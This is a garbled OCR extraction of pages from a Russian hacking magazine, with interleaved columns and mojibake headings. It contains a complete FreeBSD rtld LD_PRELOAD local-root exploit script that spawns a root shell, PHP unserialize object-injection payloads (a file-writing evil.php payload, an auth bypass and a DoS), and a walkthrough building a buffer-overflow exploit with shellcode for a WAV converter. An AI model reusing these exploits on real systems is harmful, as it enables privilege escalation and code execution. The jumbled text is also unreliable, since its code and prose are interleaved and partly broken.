<rdf:li xml:lang="x-default">mhtml:file://O:\fema\ • скрытый текст (конечно, он не настолько скрытый, чтобы его не заме-
shsp_2009\draft ijs\fy 2009 investment jus</rdf:li> тить, но это бывает затруднительно (всевозможные цветовые игры, слои
</rdf:Alt> фона);
• удаленные текстовой и графический контент.

06
Как так выходит? Попробуй сам проделать следующие действия.
1. Открой .HTM, .HTML, .MHT на своем компьютере в осле (IE) и зажми
Ctrl+P либо организуй печать. В качестве принтера выбери любой софт ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРАВ В
для работы с PDF (Adobe PDF / CutePDF / PrimoPDF) и жми «Print». FREEBSD
2. Система спросит тебя об имени файла, не игнорируй запрос и вбей
любое. На выходе ты получишь сгенеренный PDF'ник. Открой его в блок- BRIEF Итак, заявлен новый способ повышения привилегий!
ноте и сделай поиск по сигнатуре «file://». Установка руткитов теперь обзавелась еще одним вариантом.
Автором боевого эксплоита является Kingcope (он же Nikolaos
EXPLOIT Замечено, что все это грозит только при использовании печати Rangos). Уязвимость была найдена в Run-Time Link-Editor (rtld).
на своих локальных файлах из-за включения в них подобной инфор- Вообще, rtld не позволяет использовать опасные переменные
мации. Если ты скачаешь файл из интернета, просто распечатав его, окружения, вроде LD_PRELOAD при исполнении setugid-бинар-
то ничего плохого не случится. После ряда экспериментов стало ясно, ников (ping, su). С помощью специального трюка этот процесс
что таким делом грешат не все софтины для работы с PDF, а именно: может быть нарушен.
bullzip, pdfcreator. Кроме того, рекомендую ознакомиться с одной из Rtld располагается в libexec/rtld-elf/rtld.c. Переменная LD_PRELOAD
статей в корпоративных информационных блогах Adobe (blogs.adobe. указывает rtld на использование какой-либо дополнительной библи-
com/acrobat/2009/02/properly_removing_sensitive_in.html), которая отеки (shared object), которая будет подгружена. Как правило, это дело
называется «Properly removing sensitive information». Она посвящена игнорируется при запуске SUID/SGID-приложений. Рассмотрим этот
непосредственному удалению критичной информации из документов момент более детально:

046
46 XÀÊÅÐ 01 /133/ 10
func_ptr_type *envNdx = ndx;
_rtld(Elf_Addr *sp, return (envVars[ndx].name + nameLen +
func_ptr_type *exit_proc, sizeof ("=") — 1);
Obj_Entry **objp) }
{ }
Elf_Auxinfo *aux_info[AT_COUNT]; else if ((!onlyActive || envVars[ndx].active) &&
int i; (envVars[ndx].nameLen == nameLen &&
... strncmpeq(envVars[ndx].name, name, nameLen))) {
trust = !issetugid(); *envNdx = ndx;
... return (envVars[ndx].value);
/* }
If the process is tainted, then we un-set the dangerous
environment variables. The process will be marked as return (NULL);
tainted until setuid(2) is called. If any child process }
calls setuid(2) we do not want any future processes to
honor the potentially un-safe variables. Соответственно, если это дело оплошает, результат от выдачи unsetenv
*/ получится с ошибкой, и, в итоге, LD-переменная удалена не будет. Код
эксплоита успешно демонстрирует помещение вредоносного кода в
if (!trust) { shared library и его устройство в переменной окружения.
unsetenv(LD_ "PRELOAD");
unsetenv(LD_ "LIBMAP"); EXPLOIT
unsetenv(LD_ "LIBRARY_PATH"); А вот полноценный PoC (естественно, лишь для ознакомления):
unsetenv(LD_ "LIBMAP_DISABLE");
unsetenv(LD_ "DEBUG"); #!/bin/sh
unsetenv(LD_ "ELF_HINTS_PATH"); echo ** FreeBSD local r00t zeroday
} echo by Kingcope
echo November 2009
... cat > env.c << _EOF
/* Return the exit procedure and the program entry #include <stdio.h>
point */
*exit_proc = rtld_exit; main()
*objp = obj_main; {
return (func_ptr_type) obj_main->entry; extern char **environ;
} environ = (char**)malloc(8096);

Соответственно, если бинарник имеет SUID/SGID-бит, с него будут сняты environ[0] = (char*)malloc(1024);
некоторые LD_ переменные окружения с помощью функции unsetenv environ[1] = (char*)malloc(1024);
(src/lib/libc/stdlib/getenv.c). Проблема заключается именно в этой функ- strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
ции. Деактивация нужной переменной происходит с помощью предва- execl("/sbin/ping", "ping", 0);
рительного вызова findenv, который как раз и может оплошать: }

if (__findenv(name, nameLen, &envNdx, true) != NULL) { _EOF


envVars[envNdx].active = false; gcc env.c -o env
if (envVars[envNdx].putenv) cat > program.c << _EOF
__remove_putenv(envNdx); #include <unistd.h>
__rebuild_environ(envActive — 1); #include <stdio.h>
} #include <sys/types.h>
#include <stdlib.h>
Исходный код вызова __findenv():
void _init() {
static inline char * extern char **environ;
__findenv(const char *name, environ=NULL;
size_t nameLen, system("echo ALEX-ALEX;/bin/sh");
int *envNdx, }
bool onlyActive) _EOF
{
int ndx; gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0
/* Find environment variable from end of array (more program.o -nostartfiles
likely to be active). A variable created by putenv is cp w00t.so.1.0 /tmp/w00t.so.1.0
always active or it is not tracked in the array */ ./env .

for (ndx = *envNdx; ndx >= 0; ndx--) TARGETS Эксплойт успешно работает на 7.1, 7.2 и 8.0 релизах FreeBSD.
if (envVars[ndx].putenv) { Обладателям FreeBSD 6.3-RELEASE и FreeBSD 4.9-RELEASE бояться
if (strncmpeq(envVars[ndx].name, name, nameLen)) { нечего. z

XÀÊÅÐ 01 /133/ 10 047


ВЗЛОМ
МАГ ICQ 884888, HTTP://WAP-CHAT.RU

PHP
È ÂÎËØÅÁÍÛÅ
ÌÅÒÎÄÛ ÑÅÐÈÀËÈÇÀÖÈß
PHP-ÎÁÚÅÊÒÎÂ ÃËÀÇÀÌÈ ÕÀÊÅÐÀ
ÍÀ ÏÎÂÅÑÒÊÅ ÄÍß — ÐÀÇÁÎÐ ÏÐÅÇÅÍÒÀÖÈÈ ÑÒÅÔÀÍÀ ÝÑÑÅÐÀ «SHOC-
KING NEWS IN PHP EXPLOITATION», ÊÎÒÎÐÓÞ ÎÍ ÏÐÅÄÑÒÀÂÈË ÂÎ
ÂÐÅÌß ÊÎÍÔÅÐÅÍÖÈÈ POC2009  ÑÅÓËÅ 5 ÍÎßÁÐß. ÈÑÑËÅÄÎÂÀÍÈÅ
 ÁÎËÜØÅÉ ÑÒÅÏÅÍÈ ÍÀÏÐÀÂËÅÍÎ ÍÀ ÁÓÄÓÙÅÅ, ÒÀÊ ÊÀÊ ÏÎÊÀ
ÍÅÌÍÎÃÈÅ ÏÐÎÃÐÀÌÌÈÑÒÛ ÑÒÐÅÌßÒÑß ÂÎÑÏÎËÜÇÎÂÀÒÜÑß ÂÑÅÌÈ
ÏÐÅÈÌÓÙÅÑÒÂÀÌÈ «ÂÎËØÅÁÍÛÕ ÌÅÒÎÄλ PHP.

ÊÐÀÒÊÈÉ ËÈÊÁÅÇ __call программирования: конструктор и деструктор;


Для начала тебе стоит уяснить, что же это за __callStatic 2. «__call», «__callStatic», «__get» и «__set» —
«волшебные методы», для чего они нужны и __get методы, связанные с перегрузкой обращений
в каких случаях применяются. __set как к свойствам, так и к методам. Методы
Magic Methods — это, в дословном пере- __isset «__get()» и «__set()» вызываются при уста-
воде, Магические Методы, которые заре- __unset новке и получении значения свойства, а
зервированы в php и всегда начинаются __sleep методы «__call()» и «__callStatic» — при
с двойного подчеркивания «__» (создате- __wakeup вызове метода. Стоит заметить, что эти маги-
лями php не рекомендуется называть свои __toString ческие функции будут вызываться только и
собственные методы, начиная с этого __set_state исключительно в том случае, если запрошен-
самого «__», если ты хочешь использо- __clone ные метод или свойство не существуют;
вать некоторую волшебную функциональ- __invoke 3. «__isset» — метод, срабатывающий при
ность). вызове функций empty() или isset() на несуще-
Вот список таких методов: Теперь немного подробнее о каждом методе. ствующем или недоступном свойстве класса;
1. «__construct» и «__destruct» — самые 4. «__unset» — срабатывает при вызове функ-
__construct популярные методы, которые реализуют ции unset() на несуществующем или недо-
__destruct базовые понятия объектно-ориентированного ступном свойстве класса;

048 XÀÊÅÐ 01 /133/ 10


5. «__sleep» и «__wakeup» — методы, которые вызы-
ваются только из функций serialize и unserialize
соответственно. Метод «__sleep» будет вызван сразу
при применении к объекту функции serialize, а метод
«__wakeup» — при применении unserialize. В насто-
ящий момент методы применяются для сохранения
текущего состояния системы с последующим вос-
становлением данного состояния (например, коннект
к базе);
6. «__toString» — метод, с помощью которого можно обра-
щаться к классу как к строке (например, с помощью print
или echo);
7. «__set_state» — метод, который вызывается для
классов, экспортирующих значения свойств функцией МАГИЧЕСКИЕ МЕТОДЫ В PHP
var_export();
8. «__clone» — вызывается при клонировании объекта
(введен для использования из-за того, что объекты в
php5 и выше передаются по ссылке); b:1; //boolean
9. «__invoke» — вызывается при попытке использовать i:5; //integer
объект в качестве функции. s:5:"ABCDE"; //string
В рамках статьи нас интересуют 3 описанных метода: a:3:{...} //array
HTTP://WWW
«__destruct», «__wakeup» и «__toString» — именно они O:9:"TestClass":1:{...} //object
могут вызываться при автозагрузке объектов из функции links
unserialize. В примере ты можешь заметить, возможно, неизвест- • php.net/serialize —
ные тебе форматы записи переменных: «\0*\0pro1» и все о функции
ÌÍÎÃÎÑÒÐÀÄÀËÜÍÛÉ UNSERIALIZE «\0TestClass\0pro2». «Что это за нулл-байты в именах serialize.
Немного отступимся от основной темы и рассмотрим переменных?» — спросишь ты. Заходим на www.php. • php.net/unserialize —
некоторые особенности и варианты эксплуатации функ- net/manual/en/function.serialize.php и читаем плашку с все о функции
ции unserialize(), которые отметил сам Эссер. «Note»: unserialize.
1. Пример от Стефана, в котором наглядно описаны все • php.net/manual/en/
поддерживаемые функцией типы данных: Object's private members have the class language.oop5.magic.
name prepended to the member name; php — магические
a:3:{i:5;O:9:"TestClass":2:{s:7:"\0*\0pro1" protected members have a '*' prepended to методы php.
;i:123;s: the member name. These prepended values • php.net/oop5.
have null bytes on either side. overloading — пере-
15:"\0TestClass\0pro2";i:123;} грузка объектов в
Это нехитрое пояснение означает, что при сериализации php5.
i:123;b:1;i:1337;a:3:{i:0;N;i: объектов закрытые члены класса должны предваряться • php.net/manual/
1;i:5;i:2;a:1:{i:0;O:10:"OtherClass":4:{s:16 именем класса, обрамленным нулл-байтами, а защищен- en/language.oop5.
:"\0OtherClass ные объекты должны начинаться с «\0*\0». autoload.php — авто-
\0pro1";s:6:"ABCDEF";s:16:"\0OtherClass\0pro Также поясню, что в php5 существуют 3 дескриптора для загрузка объектов в
2";s:3:"ABC";s: осуществления контроля над доступом к переменным и php5.
16:"\0OtherClass\0pro3";R:2;s:16:"\0OtherCla методам: • suspekt.org —
ss\0pro4";N;}}}} • public (открытый): метод или переменная доступны из официальный блог
любого места в коде; Стефана Эссера.
Здесь в сериализованной строке содержатся следующие • private (закрытый): закрытые методы или переменные • suspekt.org/
данные: доступны только внутри класса; downloads/POC2009-
• protected (защищенный): защищенные методы или ShockingNewsIn
переменные доступны только внутри класса, где они были PHPExploitation.pdf —
объявлены, а также из его производных классов. презентация Стефана
ПРИМЕР РАБОТЫ ЭКСПЛОЙТА Данные особенности сериализации объектов означают, на PoC2009.
что при десериализации мы можем перезаписать даже • suspekt.org/
защищенные переменные внутри вызываемого класса! downloads/RSS09-We
2. Далее Эссер приводит пример легкой DoS-атаки с bApplicationFirewallB
помощью описываемой функции: ypassesAndPHPExplo
its.pdf — презентация
a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1 на RSS09.
:{a:1:{a: • powerofcommunity.
1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{ net — официальный
a:1:{a:1: сайт конференции
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a: PoC.
1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:
1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:

XÀÊÅÐ 01 /133/ 10 049


ВЗЛОМ

редки в реальной жизни, хотя все описы-


ваемое в полной мере может относиться и к
ним).
Вот исходник этого класса:

<?php
class testClass
{
protected $log_file='log'; //
ôàéë ëîãîâ
private $path = './'; //ïóòü ê
ôàéëó ëîãîâ
var $log_dump; //ñîäåðæèìîå
ëîãà

//äåñòðóêòîð êëàññà «SHOCKING NEWS IN PHP


function __destruct() EXPLOITATION»
ПРИМЕР СЕРИАЛИЗАЦИИ ОБЪЕК- {
ТОВ С PHP.NET //ñîõðàíÿåì ëîã
$f = fopen($this->path.$this->
log_file.'.txt','w'); <?php
1:{a:1: fwrite($f,$this->log_dump);
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1 fclose($f); ...
:{a:1:{a:1:{a:1: }
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1 } function is_serialized( $data )
:{a:1:{a:1:{a:1: {
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1 ?> // if it isn't a string, it
:{a:1:{a:1:{a:1: isn't serialized
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1 Использоваться данный класс может, напри- if ( !is_string( $data ) )
:{a:1:{a:1:{a:1: мер, так: return false;
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1 $data = trim( $data );
:{a:1:{a:1:{a:1: <?php if ( 'N;' == $data )
{a:1:{a:1:{... $test = new testClass(); return true;
$test->log_dump = time(); if (!preg_match(
3. И, наконец, известная тебе по древ- unset($test); '/^([adObis]):/', $data,
нему phpBB2 уязвимость с использо- ?> $badions ) )
ванием == вместо === при сравнении return false;
строк и типов данных, проявляющая В данном примере сначала вызывается класс switch ( $badions[1] )
себе через функцию unserialize. testClass, затем переменной $log_dump уста- {
Уязвимый код: навливается значение текущего времени, и case 'a' :
вызванный объект уничтожается. case 'O' :
<?php Рассмотрим, что в это время происходит с case 's' :
$data = unserialize($autologin); самим объектом: if ( preg_match(
if ($data['username'] == 1. Инициализируется класс (если бы суще- "/^{$badions[1]}:[0-
$adminName && $data['password'] == ствовал магический метод __construct, вызы- 9]+:.*[;}]\$/s", $data ) )
$adminPassword) { вался бы именно он); return true;
$admin = true; 2. Устанавливаются защищенная и закрытая break;
} else { переменные $log_file и $path, в которых case 'b' :
$admin = false; содержатся имя файла логов и путь к нему; case 'i' :
} 3. Устанавливается внешняя переменная case 'd' :
?> $log_dump — то, что мы будем записывать в if ( preg_match(
лог-файл; "/^{$badions[1]}:[0-9.E-]+;\$/",
a:2:{s:8:"username";b:1;s:8:"passw 4. Вызывается деструктор класса __destruct, $data ) )
ord";b:1;} во время чего в наш лог-файл log.txt записы- return true;
вается текущее время. break;
Здесь имя пользователя и пароль устанавли- Как видишь, у нас получился неплохой при- }
ваются в булево true, а затем скрипт пускает мер логгера :). return false;
нас в админку :). }
ÝÊÑÏËÓÀÒÈÐÓÉ ÝÒÎ!
ÕÈÒÐÛÅ ÊËÀÑÑÛ Теперь настало время представить, что опи- ...
Настало время вернуться к нашим баранам. санный выше класс уже включен в код нашей
Итак, представь, что у нас имеется некая CMS и что вызываемые из базы данных поля function maybe_unserialize
CMS, в которой существует некий класс, где профиля пользователя (или любые другие ( $original )
присутствует метод __destruct (__wakeup поля) проверяются на сериализацию. В {
и __toString мы рассмотрим немного позже и качестве примера подойдут функции из уже if (is_serialized( $original))
менее подробно, так как они пока что очень известного тебе WordPress'а: // don't attempt to unserialize

050 XÀÊÅÐ 01 /133/ 10


ПРЕЗЕНТАЦИЯ СТЕФАНА ЭССЕРА

data that wasn't serialized going èç ÁÄ ïîëåì Здесь десериализованная строка должна
in $pole = "O:9:\"testClass\":3:{s:11 сразу же выводиться на экран с помощью
return @unserialize( :\"\0*\0log_file\";s:9:\"evil.php\ print или echo, — тогда и только тогда будет
$original ); 0\";s:15:\"\0testClass\0path\";s:2 вызван указанный метод.
return $original; :\"./\";s:8:\"log_dump\";s:16:\"<? Для более глубокого понимания описан-
} phpinfo(); ?>\";}" ного класса уязвимостей советую вни-
... $pole = maybe_unserialize($pole); мательно изучить презентации Стефана
?> ?> Эссера (ссылки, как всегда, ищи в сно-
сках). В них содержатся реальные при-
Здесь видно, что, будучи примененной к В примере наш объект вызывается с пред- меры использования метода __destruct
какой-либо строке, при определенных усло- установленными переменными $log_file = в Zend Framework с выполнением кода
виях функция maybe_unserialize() может про- "evil.php\0"; (нулл-байт нужен для обрезания через preg_replace, инклудом удаленных
пустить оную через нужную нам unserialize(). предустановленного в классе расширения файлов, загрузкой и удалением произ-
Рассмотрим подробнее наш класс testClass в .txt) и $log_dump = "<? phpinfo(); ?>";. После вольных файлов и т.д.
контексте сериализации: десериализации, а следовательно, и уни-
1. Переменная $log_file является защищен- чтожения объекта в директории с логами MEMENTO
ной, следовательно, при сериализации она должен появиться файл evil.php, содержащий Описанное выше является лишь доку-
должна выглядеть как «\0*\0log_file»; наш злонамеренный код :). ментированными возможностями нашего
2. Переменная $path является закры- В случае с __wakeup вся эксплуатация любимого PHP, просто существуют спе-
той и при сериализации выглядит как выглядит совершенно таким же образом циалисты, которые изучают эти возможно-
«\0testClass\0path» (префикс — имя класса); (потому что этот метод также вызывается при сти немного глубже, чем обычные кодеры
3. Последняя переменная $log_dump являет- десериализации), а вот в случае с __toString :). Так что, рекомендую с огромной осто-
ся открытой всюду и для всех, так что ника- уязвимый код в CMS должен выглядеть чуть- рожностью применять в своих проектах
ких специальных манипуляций с ней прово- чуть иначе: магические методы __wakeup, __toString
дить не нужно. и __destruct вкупе с десериализацией
Из данных утверждений вытекает возможный <?php любого пользовательского ввода (вообще,
эксплойт: ... никогда не стоит доверять пользова-
print unserialize($pole); телям). Я же с нетерпением буду ждать
<?php ... новых исследований от Стефана Эссера,
//$pole — ìîæåò áûòü èçâëå÷åííûì ?> чего и тебе советую! z

XÀÊÅÐ 01 /133/ 10 051


ВЗЛОМ
ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU

ÝÊÑÏËÎÈÒ
«ÍÀ ÊÎËÅÍÊÅ» ÏÈØÅÌ
ÝÊÑÏËÎÉÒ ÏÎÄÐÓ×ÍÛÌÈ ÑÐÅÄÑÒÂÀÌÈ
ÐÀÍÎ ÈËÈ ÏÎÇÄÍÎ ÌÍÎÃÈÌ ÈÇ ÍÀÑ ÏÐÈÕÎÄÈÒÑß ÑÒÀËÊÈÂÀÒÜÑß
Ñ ÇÀÄÀ×ÅÉ ÍÀÏÈÑÀÍÈß ÝÊÑÏËÎÈÒÀ. ÒÅÎÐÅÒÈ×ÅÑÊÈÕ ÈÇÛÑÊÀÍÈÉ ÍÀ
ÝÒÓ ÒÅÌÓ ÏÐÎÂÅÄÅÍÎ ÌÍÎÆÅÑÒÂÎ, ÍÎ ÏÐÀÊÒÈ×ÅÑÊÈÕ È ÏÎÍßÒÍÛÕ
ÏÐÈÌÅÐÎÂ ÄÎ ÑÈÕ ÏÎÐ ÍÅ ÒÀÊ ÌÍÎÃÎ. ÏÎÝÒÎÌÓ ÑÅÃÎÄÍß ÍÀØÅÉ
ÇÀÄÀ×ÅÉ ÁÓÄÅÒ ÍÀÏÈÑÀÍÈÅ ÐÀÁÎÒÀÞÙÅÃÎ ÝÊÑÏËÎÈÒÀ ÄËß ÊÎÍÊÐÅÒÍÎÉ
ÏÐÎÃÐÀÌÌÛ. ÌÛ ÐÀÇÁÅÐÅÌ ÂÑÅ ÒÎÍÊÎÑÒÈ È ÏÎÏÛÒÀÅÌÑß ÏÎÍßÒÜ,
ÊÀÊ ÈÌÅÍÍÎ ÍÀÕÎÄßÒ ÓßÇÂÈÌÎÑÒÈ È ÓÑÏÅØÍÎ ÈÌÈ ÏÎËÜÇÓÞÒÑß.
052 XÀÊÅÐ 01 /133/ 10
ОШИБКА ЗАПИСИ ПО АДРЕСУ [00000000] — ИГНО-
РИРУЕМ НАЖАТИЕМ <SHIFT+F9> УЯЗВИМАЯ ПРОГРАММА

Ï
режде, чем мы перейдем к практике, напомню несколько Прокрути окно стека чуть выше — наткнешься на первую последова-
очень важных моментов. Эксплоит — это программа, которая тельность байт вида «41414141», которая была помещена в стек. Она
написана для использования конкретной уязвимости в располагается по адресу 19FEED4. Если вычесть это значение из числа,
компоненте операционной системы или приложения. Чаще содержащегося в регистре ESP, мы получим шестнадцатеричное 1014,
всего используются дыры, которые связаны с переполнением которое равно десятичному значению 4116. Это — количество данных,
буфера. Думаю, нет смысла слишком подробно освещать данную тему — которое гарантированно затирает адрес возврата из функции в стеке.
в Сети можно найти бездну сугубо теоретического материала. Впрочем, Следовательно, если мы поместим в наш WAV-файл последовательность
основные понятия ты все-таки сможешь усвоить в процессе чтения из 4112 символов, а последние 4 символа заменим адресом возврата,
статьи. Приступим к исследованию. программа передаст управление именно на него.
Проверим эту догадку: в WinHex открывай наш файл и меняй четыре
ÏÅÐÂÛÅ ØÀÃÈ Ê ÍÀÏÈÑÀÍÈÞ байта, начиная со смещения 0x1010 (десятичное 4112), на любые другие.
ÝÊÑÏËÎÈÒÀ Сохраняй файл и скармливай его нашему конвертеру. Все совпадает —
«Лабораторным кроликом» для наших экспериментов послужит ути- программа пытается обратиться по недопустимому адресу, записанному
лита «FREE WMA MP3 converter», уязвимости которой мы постараемся нами (между прочим, адрес необходимо записывать в файл «задом
найти. Конвертер, который мы будем рассматривать, имеет небольшой наперед», то есть, начиная с последнего байта). Но как это может при-
размер. Это и послужило одной из причин, почему я решил описать годиться? Представь себе, что следом за адресом возврата в стек мы
именно его исследование (разбирать мегабайты кода — дело чрез- поместим написанный нами вредоносный код (так называемый «шелл-
вычайно сложное). Открой программу и задай при помощи кнопки код»). Чтобы он был исполнен, необходимо лишь сделать так, чтобы
«Settings» папку для сохранения декодированных файлов. Обрати адрес возврата указывал на инструкцию, которая осуществляет безуслов-
внимание: программа умеет конвертировать WAV в MP3 и другие фор- ный переход к выполнению кода, записанного в стек (например, такой
маты. инструкцией может быть call esp или jmp esp). Можно пойти по наиболее
Открой шестнадцатеричный редактор «WinHex» и создай файл разме- простому пути: разыскать в недрах любого из модулей подобную инструк-
ром 5192 байт. Заполни его целиком последовательностью одинаковых цию и заменить адрес возврата в WAV-файле ее адресом. Стоит, однако,
символов (например, «A»), после чего сохрани с расширением «.wav». учитывать два условия. Первое — нельзя искать инструкцию в модулях,
Попробуй перекодировать его в mp3-файл при помощи нашего кон- которые загружены в память по адресу, содержащему нулевые байты.
вертера. Программа завершит работу без всяких предупреждений! Это Ноль — символ окончания строки, если мы запишем его в код эксплои-
достаточно любопытно. Чтобы узнать, с чем связано такое поведение та, функция просто «обрубит» все, что располагается после него. Таким
нашего «пациента», загрузим его в OllyDbg и попробуем отладить. После образом, инструкция с адресом «12345678» нам подходит, а вот переход
того, как программа запустится под отладчиком, снова прикажи ей пере- или вызов, расположенный по адресу «00777777» не подойдет, ибо он
кодировать созданный wav-файл в файл формата mp3 (в случае, если содержит нулевой байт. Второй момент, на который следует обратить
возникнет исключение «Access Violation when writing to [00000000]», внимание — старайся искать инструкцию перехода на стек внутри моду-
игнорируй его путем многократного нажатия <Shift+F9>). Итак, перед лей, которые входят в сборку программы. Ведь разные билды операци-
нами исключение: Access violation when executing [41414141]. Этот адрес онных систем содержат разные системные библиотеки.
выглядит весьма странно, не так ли? Дело в том, что функция, которая Я выбрал следующую инструкцию (модуль «IEFRAME.dll»):
прочитала последовательность символов вида «AAA...» из файла, что
мы ей скормили, поместила ее в стек — целиком, безо всякой проверки 4029dc93 JMP ESP
длины. Видимо, в результате этих действий адрес возврата из функции
обратно в программу был заменен символами «AAAA», шестнадца- Помни, что, если ты не нашел похожей инструкции, это не повод для
теричный код данной последовательности выглядит как 0x41414141. отчаяния. Если в памяти программы существует секция данных, содер-
Неудивительно, что программа решила обратиться по данному адресу. жащая опкод инструкции и имеющая атрибуты исполнения, ты можешь
Но, если возможно переписать адрес возврата из функции путем поме- передать управление на соответствующий байт данных. Неважно, будет
щения в WAV-файл неимоверно длинной строки символов, существует ли он частью числового значения или строки. Главное — ты сможешь
ли возможность записать вместо случайных чисел конкретный адрес? передать управление коду. Вписывай в WAV-файл по смещению 4112
Да. Взгляни на текущее значение регистра ESP — оно указывает на адрес возврата. Мой настоятельный совет — следующие два байта в
вершину стека и равно 19FFEE8 (впрочем, все зависит от билда ОС). файле, которые располагаются сразу за адресом возврата, обнули. Это

XÀÊÅÐ 01 /133/ 10 053


ВЗЛОМ

ций, которые будут выполнять опреде-


ленные действия. Какие? Скажем, вызов
MessageBoxA (разумеется, вместо вполне
безобидных действий «жучок», живущий
внутри WAV-файла, может и загружать
троян, и уничтожать важные данные).
Приступим к написанию кода. Необходимо
использовать, как минимум, две функции:
MessageBoxA и ExitProcess (о корректном
завершении программы можно и не забо-
титься, но мы все-таки сделаем это).
Нажми на кнопку «R» управляющей панели
отладчика. Ты увидишь список всех вызо-
вов, эксплуатируемых программой. Нам
нужны только две API-функции, упомянутые
выше. Если никаких функций в списке ты
не видишь, выбери модуль wmpcon.exe в
списке «Executable modules» и повтори
действие еще раз. Итак, ищи в списке стро-
ку «CALL<JMP.&user32.MessageBoxA>». О
чем нам говорит запись подобного вида?
Разумеется, о том, что вызов функции
В ПРОЦЕССЕ ОТЛАДКИ ШЕЛЛ-КОДА... не является прямым. Следует получить
конструкцию непосредственного вызова,
даст возможность остановиться на исклю- Теперь мы можем писать shell-код! OllyDbg чтобы шелл-код работал во всех ситуациях.
чении при дальнейшей отладке файла, не поможет нам — мы будем набирать шелл-код Дважды щелкни по строке, чтобы перейти
улетая в «дебри». Сохраняй результат и снова прямо в окне кода отладчика. на инструкцию вызова в окне дампа. В окне
запускай декодер под отладчиком. На этот раз дампа также дважды щелкни по инструкции
все прошло как нельзя лучше — произошла ÐÀÇÐÅØÈÒÅ ÏÐÅÄÑÒÀÂÈÒÜÑß, вызова. Откроется окно редактирования
остановка на исключении: SHELL-ÊÎÄ кода, содержащее следующую инструкцию:
Итак, условимся, что первые четыре байта CALL 00401310. Этот адрес нас и интере-
0210FEE8 0000 ADD нашего кода будут NOP-ами. По адресу сует. Копируем его, нажимаем <ctrl+g>,
BYTE PTR DS:[EAX],AL 0210FEEC расположим набор инструк- вставляем в окошко скопированный адрес

ВОТ ОНА — УЯЗВИМОСТЬ В ДЕЙСТВИИ! КОД ВЫПОЛНЕН БЕЗОШИБОЧНО

054 XÀÊÅÐ 01 /133/ 10


019FFEF9 ADD EAX,2B
019FFEFC PUSH EAX
; ïîìåùàåì àäðåñ âîçâðàòà â ñòåê
019FFEFD JMP DWORD PTR
DS:[<&user32.MessageBoxA>]
; Âûçûâàåì MessageBoxA
019FFF03 PUSH 0

; êîä çàâåðøåíèÿ ïðîöåññà — íîëü


019FFF05 JMP DWORD PTR
DS:[<&kernel32.ExitProcess>
; âûõîäèì èç ïðîãðàììû

; íà÷èíàÿ ñ àäðåñà 019FFF0B, ðàñ-


ïîëàãàþòñÿ áàéòû ðàçìåùåííûõ íàìè
äàííûõ

После того, как ты введешь код под отладчи-


ком целиком (включая строковой параметр
для MessageBoxA), выделяй его и выбирай
из контекстного меню пункт «Binary Æ Binary
ДВА НУЛЕВЫХ БАЙТА, РАСПОЛОЖЕННЫХ СРАЗУ ЗА АДРЕСОМ ВОЗВРА- copy». В буфере обмена окажется машинный
ТА, ПОЗВОЛЯТ ОТЛАЖИВАТЬ ПРОГРАММУ «НА ИСКЛЮЧЕНИЯХ» код, который необходимо вставить в WAV-
файл сразу после адреса возврата (начиная
и нажимаем «Ok». Мы переместились к адрес инструкции, следующей за опера- со смещения 0x1014).
инструкции вида: цией перехода к API-функции. К сожа- Код выглядит следующим образом:
лению, и здесь придется обращаться
JMP DWORD PTR DS:[4CC254] к арифметике относительных адресов: 90 90 90 90 6A 00 8B C4 83 C0 27
инструкция, следующая за вызовом, 50 50 6A 00 8B C4 83 C0 2B 50 FF
Это — непосредственный вызов функции имеет адрес [esp+2b]. 25 54 C2 4C 00 6A 00 FF 25 28 C2
MessageBoxA. Запомним его. Теперь прокрути Итак, мы получили все, что требовалось. 4C 00 53 50 4C 4F 49 54 45 44 00
дамп окна кода чуть выше и увидишь анало- Осталось лишь написать «шелл-код»
гичный «переходник» для функции ExitProcess: (разумеется, это весьма безобидный набор Код не совпадает с форматом данных,
инструкций): который использует утилита WinHex. Чтобы
JMP DWORD PTR DS:[4CC228] WinHex принял данную последователь-
019FFEE8 90 NOP ность, удали из нее все пробелы. После
Последний момент: нам необходимо где- 019FFEE9 90 NOP этого открой WinHex, перейди в Insert
то хранить параметры, передаваемые 019FFEEA 90 NOP Mode («Режим вставки данных»), нажав
MessageBoxA. Поместим их сразу же за 019FFEEB 90 NOP клавишу Insert. Подведи курсор к смеще-
нашим кодом. Адрес в моем случае полу- нию 0x1014, выбери из контекстного меню
чился равным 210FF0B. Надо выделить ; ïàðàìåòðû äëÿ MessageBoxA: правой кнопки мыши «EditÆClipboard
набор байт, начинающихся с этого адреса, DataÆPaste», согласись на увеличение
и нажать комбинацию клавиш <ctrl+e>. 019FFEEC PUSH 0 размера файла нажатием на кнопку «Ok» в
Откроется окно редактирования, в котором появившемся окне. Появится окно выбора
нужно ввести текст с завершающим (нуле- ; ñòèëü îêíà формата вставляемых данных. Нам нужен
вым) байтом-терминатором. Для простоты ; âûñ÷èòûâàåì ïîëîæåíèå ïàðàìåòðîâ пункт «ASCII Hex». Выделяй его, нажимай
будем использовать один и тот же текст и ôóíêöèè MessageBoxA âíóòðè ñòåêà «Ok». Готово! Сохраняй полученный файл и
для заголовка выдаваемого MessageBox-а, 019FFEEE MOV EAX,ESP пробуй «скормить» его конвертеру файлов.
и для его тела. Поскольку статичный адрес ; ïîìåùàåì â EAX çíà÷åíèå ñòåêà Если все сделано правильно, появится
параметров узнать нельзя (вершина стека 019FFEF0 ADD EAX,27 окно сообщения, свидетельствующее о
динамично изменяется), всегда нужно ; óâåëè÷èâàåì çíà÷åíèå ðåãèñòðà том, что шелл-код выполняется.
будет высчитывать положение параметров. íà 27 áàéò è ïîëó÷àåì àäðåñ ïàðà-
